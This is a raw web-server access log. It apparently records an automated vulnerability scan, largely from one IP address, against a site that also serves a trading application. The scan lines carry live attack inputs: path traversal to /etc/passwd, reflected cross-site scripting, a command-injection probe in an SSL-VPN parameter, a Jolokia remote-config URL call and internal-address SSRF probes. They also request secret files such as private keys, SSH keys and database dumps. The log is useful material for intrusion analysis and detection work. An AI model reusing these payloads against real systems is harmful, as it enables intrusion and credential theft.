[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWeb/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lighter/api HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/spider.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/sonicos/auth HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /en-US/account/login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/UI/Login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpldapadmin/index.php?redirect=true&meth=ajax HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DLPCenter/images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sysadmin/phpMyAdmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //V.txt HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autoconfig HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gateway/routes HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //i.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /beans HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-devtools HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/welcome HTTP/1.1" 199
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs.txt HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://10.0.0.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Y8AHjp HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vision/RMIServlet HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/caches HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /liquibase HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloudexp/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/auditevents HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logfile HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-push.yml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loggingConfig HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /httptrace HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //install.sh HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/production.sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/configprops HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.key HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loggers HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mappings HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /s/fact HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /startup HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scheduledtasks HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /threaddump HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/upload?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/features HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trace HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/flyway HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/LogIn?returnUrl=%2F&hasAttemptedCookie=True HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/production.db HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /equipbid/storage/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/dump HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Reports/Pages/Folder.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.sql HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Reports/Pages/Folder.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /userportal/webpages/myaccount/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/ HTTP/1.1" 5063
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.old HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-daily.yml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/error.log HTTP/1.1" 31646
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/httptrace HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/startup HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWeb HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /connect/register HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/variable?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/liquibase HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/authorized_keys HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /svnserve.conf HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer/Pages/Folder.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/autoconfig HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/metrics HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vkd/GetWelcomeScreen.event HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/tokens HTTP/1.1" 226
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ProtectManager/Logon HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Directory/Login/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/scheduledtasks HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/sslvpn_client.php?client=logoImg&img=%20/tmp|echo%20%60id%60%20|tee%20/usr/local/webui/sslvpn/nkogo.txt HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //update.sh HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphider/admin/admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI/Login HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage/database/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/beans HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/threaddump HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //p.php HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/172.16.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/init HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iam/immanage/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //backup.sql HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/vkeyboard/vkeyboard.php?passformname=%22%3E%3Cscript%3Ealert%281701853422%29%3B%3C%2Fscript%3E%3Cscript%3E%2F%2A HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //0day.txt HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/logfile HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /panel HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/health HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/privatekey.pem HTTP/1.1" 199
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/read_body.php?mailbox=/etc/passwd&passed_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?content=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.svn/wc.db HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configs/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /struts/webconsole.html?debug=console HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/info HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /steve/services/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/services/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /heapdump HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/esshrprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlbuddy/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/conditions HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sonicui/7/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/loggingConfig HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/signin HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.stestr.conf HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /spre/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /documentation HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /steve/manager/signin HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /supershell/login/auth HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/mappings HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/env HTTP/1.1" 196
